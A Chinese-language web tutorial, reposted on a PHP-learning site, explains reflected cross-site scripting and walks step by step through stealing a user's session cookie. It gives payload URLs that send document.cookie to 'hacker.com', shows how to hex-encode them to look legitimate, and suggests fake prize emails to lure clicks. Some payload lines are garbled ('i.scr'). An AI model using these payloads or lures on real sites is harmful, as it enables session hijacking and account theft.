网站地图    收藏   

主页 > 后端 > 网站安全 >

跨站点脚本(xss)解析(一)反射型xss漏洞 - 网

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 跨站点脚本(xss)即:cross site script, 也经常存在于web程序中,它是往web页面中插入代码html语句、js语句等。如果服务器端没有对其进行过滤,当用户浏览该网页时,我们插入的代码就会...

跨站点脚本(xss)即:cross  site script, 也经常存在于web程序中,它是往web页面中插入代码html语句、js语句等。如果服务器端没有对其进行过滤,当用户浏览该网页时,我们插入的代码就会在用户的浏览器中执行。
 
当web应用程序动态地向我们展示信息的时候,就可能存在xss漏洞。通常我们请求的url中会包含一个文本型参数,并将这个文本展现给用户。例如:http://www.hostname.com/search.php?showmessage=helloworld, 这样如果服务器不进行过滤,就存在xss漏洞。我们可以把helloworld改成alert(‘helloworld’),这样就会在浏览器中弹出一个helloworld消息框,如果改成alert(document.cookie)呢,就可以获取当前用户的登陆cookie和session了。
 
如何利用这种xss漏洞呢,最简单的方式是一名登陆用户的会话,这样我们就可以以他的身份登陆系统了。攻击步骤:1. 用户登陆某web系统,比如www.hostname.com 2. 攻击者将自己设计的URL发送给用户3.用户点击攻击者发送的URL 4.web系统对攻击者的URL做出解析5.攻击者的代码在用户的浏览器中执行   6.用户的浏览器将用户登陆web系统的cookie和session等信息发送给攻击者7.攻击者利用cookie和session登陆web系统。
 
第一步中: 用户登录系统,系统会往浏览器中写入cookie,set-cookie: sessionId=12345678966000.
 
第二步中:攻击者可以构造这样的URL,http://www.2cto.com /search.php?showmessage=<script>var+i=new+image;+i.scr=”http://hacker.com/”%2bdocument.cookie;</script>, 发送给用户。
 
第三步中: 用户一旦点击攻击者的URL,就会向www.hostname.com 发送请求消息。
 
第四步中:hostname服务器就会解析该url,响应其中的js代码。
 
第五步中: 服务器把showmessage的文本发送给浏览器,浏览器就会执行文本中的js代码。
 
第六步中:js代码为var i=new image; i.src=”http://hacker.com/”+document.cookie; 执行这段代码,浏览器会把自己在hostname中的cookie发送给http://hacker.com,这个网址当然是由攻击者控制。
 
第七步中: 攻击者获得了cookie,在自己的浏览器中设置改cookie,直接访问http://www.hostname.com ,就会以用户的身份登陆了。
 
之所以要诱使用户点击攻击者发送的URL,是因为①浏览器不允许旧有脚本访问cookie,②只有设置该cookie的站点才有权限读取该cookie。而攻击者的URL中包含的js代码是通过hostname发送到浏览器中,这样就有了读取cookie的权限。
 
现在的问题就是怎么诱使用户点击自己发送的URL,常见的做法是冒充hostname发送电子邮件,发布调查信息或者中奖消息,首先要求用户登陆系统,然后点击链接领取奖品。这样就实施了攻击过程。另外可以给攻击者的URL编码,就更具可信性了。

UTF-8编码:http://www.hostname.com/search.php?showmessage=<script>var+i=new+image;+i.scr=”http://www.2cto.com/”%2bdocument.cookie;</script>;如果还不可信,再将其中的英文进行16进制编码:http://www.hostname.com/%73%65%61%72%63%68 %2E%70%68%70?%73%68%6F%77%6D%65%73%73%61%67%65=%3C%73%63%72%69%70%74%3Evar+i=new+image;+i.src=”%68%74%74%70%3A%2F%2F%68%61%63%6B%65%72%2E%63%6F%6D%2F%22%25%32%62%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%3C%2F%73%63%72%69%70%74%3E  经过这样的编码,再加上确实是hostname的域名,可信性就很高了。
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论